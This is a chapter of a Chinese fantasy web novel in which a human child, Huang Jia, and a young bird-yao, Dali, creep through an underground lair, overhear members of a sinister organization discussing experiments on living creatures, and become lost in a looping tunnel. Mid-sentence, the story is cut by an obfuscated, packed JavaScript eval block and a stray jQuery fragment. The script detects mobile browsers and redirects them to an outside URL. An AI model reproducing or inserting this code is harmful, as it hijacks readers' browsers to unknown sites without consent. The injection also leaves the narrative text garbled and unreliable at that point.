一个巨大的圆弧地穴空间内,光滑的穹顶鳞次栉比地镶嵌着散发出温暖的灵石。
木兔妖绿果看向被喷了一身血液阴沉着脸的狼妖,见对方迟迟不回应他,怯懦地唤了对方一声:“覃管事?”
覃灰刚回到老巢时,绿果传来消息说药剂研究有了推进。
他扔下美味的人肉,兴冲冲赶到现场。
确实第一只小型实验体还原时间大大加长,但第二只稍大实验体在痛苦挣扎一段时间后爆体而亡,根本不符合组织要求!
这兔妖过去一年毫无成果,还有脸让他再多给一些‘原材料’。
就在此时,覃灰脸色微变,接着又恢复,不动声色。
放置在地穴入口的小玩意感应到灵力波动,刹那间他脑海中出现一些片段。
瞧向畏畏缩缩的绿果,一如既往地嘲讽道:“当初药剂交到你手里的时候,你可是信誓旦旦地向上头保证,药效会好上三分,现在来说还需要新的材料?”
“晚了!”覃灰低吼着一把将实验桌上的东西掀翻在地,洒得一片狼藉。
拽过绿果的领子,将对方提到半空中,他眯着眼思索对方的价值。
红果被抓后,橡木区药剂的研究一直处于停滞阶段,绿果之前一直是红果的第一助手,已经是除红果外最好的药剂研究员了。
绿果两只长耳朵趿拉着,吊在空中的两只脚无力的下垂,浑身颤抖不已:“三,三日我们一定改良出来……“
“呵,三日。”覃灰冷笑一声,将对方轻轻放下,绿果浑身无力又双爪努力支撑着台面,不让自己瘫软在地,覃灰正了正对方歪了的衣领,”希望你们能活到那时候。”
说完,覃灰走到壁龛前,将其中刻着蛇头的黑色盒子取下,头也不回地往外快步走去。
见覃灰带走了黑盒子,绿果忙不迭叫喊道:“覃管事,黑匣子……”
但覃灰充耳不闻,入口被人触动那一刻,他就知道大势已去,鸟妖幼崽根本就是个陷阱!
可恨对方真有耐心,居然过去一年都未曾轻举妄动,这个据点算是被毁了。
幸好在红果、苛延被抓后,他就花了血本在地穴深处刻画了定向传送阵,虽然这些年的积蓄都掏了个空,但小命更重要,至于据点内其他的组织成员,让他们留在这里等死去!
覃灰看了一眼手里的物品,有了这东西,他逃出生天后照样能够逍遥快活。
话说回黄佳她俩,一人一妖冲出阴暗的通道后,灯光略微明亮了一些。
通道之外,是一个十字路口,另外三条路,均是石板铺就,路两旁的墙壁则是以泥土夯实而成,而墙壁上每隔一段路则有一盏照明灯。
“现在我们往哪儿走?”大荔看着没有差异的三条路,询问道。
“你先化为原型。”黄佳示意。
大荔一个转身,化作一只翠绿色的小鸟,站到黄佳肩膀上。
“呲——你干什么!”大荔小声叫到。
黄佳从大荔翅膀根部下扯下一根绒毛。
她站到路口中间,手中捻着绒毛,静默一会儿,忽然绒毛的尖往右边倒下。
“这边!”黄佳收起绒毛,往路口右边走去,也不知道看风这个方法管不管用,她也只能死马当活马医了。
即使是石板路也改变不了地穴的潮湿,滴答的水声不知从何处传来,每次一听到水砸在小坑的声音,都让大荔的小鸟心一颤一颤的。
黄佳全神贯注地关注着道路的每一处细节,眼角余光则警惕地扫视着周围,小命来之不易不可再失。
两人谁都没有说话,只有起伏的轻微呼吸声,和黄佳软鞋底轻踩的细微声。
突然,大荔爪子用力抓住黄佳的衣服,整只鸟往后飞,阻止黄佳向前走。
黄佳也猛地止住脚步,动作凝固一瞬,轻轻抬起脚往后退了一步。
路口前方拐角处,隐约传来了一阵模糊的交谈声,正由远及近。
黄佳的目光扫过四周,这里是一个笔直狭窄的通道,倒回去根本来不及躲藏,往前走也会被来者发现,危急关头之际。
“……一只臭虫……“
“……对!”
声音越来越近,带着粘腻的脚步声,跨过拐角处。
“哼,苛延在的时候连个屁都不敢放的臭虫。”矮小黑袍人手拿着一把草药,对同伴骂骂咧咧地吐槽道。
另一位高瘦的黑袍人手中提着滴水的笼子,弯腰谄媚道:“他得意不了多久,笔记不写得清清楚楚,药剂还差一味水元素亲和的千年人参,整个天府省只有一位隐士是水系人参修炼成精的妖族。”
“这原材料的事儿以前是苛延管,苛延被抓后,他顶替了苛延的位置,他以为这个位置很好坐吗?那是苛延头上有人,所以每次材料都能集齐,他要是集不齐……“
“滋——“
空荡的通道里传来一声突兀的异响。
“什么声音?”高瘦黑袍人停下,兜帽下一张神似蓝星上鼹鼠的脸伸出长鼻子,四处嗅嗅,什么也没闻到。
这张鼹鼠脸,黄佳曾见到过,是在她初来妖界坐木制列车时的工作人员,齐古!
矮小黑袍人兜帽掉下来,也露出兔头,竖起一对兔耳朵,两只深绿色的眼睛前后看看,没发现什么人影,疑惑道:“有声响吗?”
难道是自己听错了,齐古摇了摇头,最近被药剂改良的事情弄得焦头烂额。
“快走吧,这些''余料''我们还能再试验一次。”矮小黑袍人重新戴上兜帽正色道。
齐古跟上矮小黑袍人脚步,忙附合道:“绿果大人,这次''余料''亲和度高,估计能实验两次。”
一高一矮加快了脚步,消失在通道尽头。
寂静的通道,阴冷幽暗,待脚步声远去,顶上突然有一团黑影蠕动了几分。
黄佳正紧贴洞壁,周遭是透明的薄膜,石敢当最后一点灵力也榨干了。
大荔的爪子还抠在岩缝边缘,刚才那声异响,正是她的利爪刮过石壁的声音。
刚刚情急之下,黄佳忽然发现通道顶部颜色不均匀,仔细一看有一个细小的凹槽,应该是钟乳石顶被人砍掉时留下的,刚好够一个幼崽躲在里面。
大荔变成原型飞到小洞内,再化为人形倒挂着将黄佳拉了上去,这时候不得不说一句妖族不仅身形灵活,力量也是远超凡人,待黄佳塞到凹槽后,大荔才又变为原型抓着岩缝。
黄佳小心地从顶上跳下来,大荔化为人形,脸色发白道:“父亲……“
“他们口中的苛延正是我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318801|199011||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
父亲!”
先前她还对覃管事所说的一切抱有三分质疑,刚刚两个黑袍人证实她父亲确实是这个组织的成员,而且身份不低。
“所以你父亲被抓后,姓覃的爬了上去,总感觉有阴谋的味道。”黄佳也听见下面两妖交谈,”然后姓覃的找你偷人参须实际是为了研制那什么药剂。”
“我好笨,被人利用得团团转。”大荔神色怔愣,喃喃道。
“……现在知道也不晚,下次做事前多想想,也不知道我们还有没有下次。”黄佳对这迟钝的小鸟妖也是无奈了。
“记住,大人是不会找小孩求助的,除非别有目的。”拍了拍大荔脑袋,黄佳叹口气,“走吧,待会儿又有人来了。”
正要离开时,地上长长的水痕引起黄佳注意,她蹲下身,指尖轻触地上未干的水痕,放到鼻下闻了闻。
这味道不对,黄佳皱着眉说:“是血。”
大荔伸出的手猛缩回去,胃里一阵翻腾,刚刚那两妖说的余料原来是鲜活的生灵。
“我们俩得多加小心了,不然也会变成‘余料’。”情况更严峻了,黄佳面色凝重道。
两人顺着这条路往前走,一路血迹。
不一会儿,两人便走到尽头,出乎意料,是一个死胡同,血迹在死胡同前面戛然而止。
“怎么回事?”大荔看着来时的路,她们俩并未遇到岔口,一路直行,怎么这里没路了,按道理那两个妖是从这里走过去的,该是有路的。
黄佳仔细观察了一番,死胡同没有门。
而且这血迹消失得令人迷惑,像是中间被划了一刀,左边血迹仍然在,而接近死胡同的右边却是干干净净。
大荔顺着黄佳视线看过去,也注意到血迹的细节,但看不出个所以然。
“石敢当,你能穿过去吗?”黄佳在脑海中询问石敢当,看他能不能看一下这死胡同后面是否有路。
“不行,刚刚最后一丝灵力已经耗尽了,需要一点时间,上次挡灵魂窥探受的伤尚且未恢复,现在吸纳灵力变得很慢。”石敢当知道两人正在逃命,奈何他有心无力。
“我们倒回去,”黄佳纵目四望,对大荔轻声道,”这里有些古怪。”
“嗯!”大荔没有什么想法,现在黄佳就是她的主心骨。
两人快步往原来的方向走去,试图回到先前躲藏过的通道里,结果走着走着地上血迹消失了!
黄佳止住脚步,看着前后陌生的通道,难怪监牢不设人看守,这地方感情还能鬼打墙。
这样诡异的情况,大荔这个幼崽可没经历过,面上焦虑心里打鼓,紧紧跟在黄佳身后,看黄佳沉思也不敢打搅对方。
黄佳皱着眉思忖片刻,伸手摸了摸着夯实的墙壁,出言道:“你化为原型,站我肩上,我们闭着眼摸着墙走路!”
有时候亲眼所见不一定是真的,事到如今,什么邪修办法都使出来试一试。
“你的听觉比我灵敏,要是有动静及时提醒我。”她对大荔说道,着重强调,“任何动静都不要放过,不然自投罗网我们都不知道。”
幽深笔直通道内。
裤子上满是污渍的人族幼崽闭着眼,摩挲着墙壁一点点往前走,殊不知看似笔直的通道,实则一点点旋转着幅度。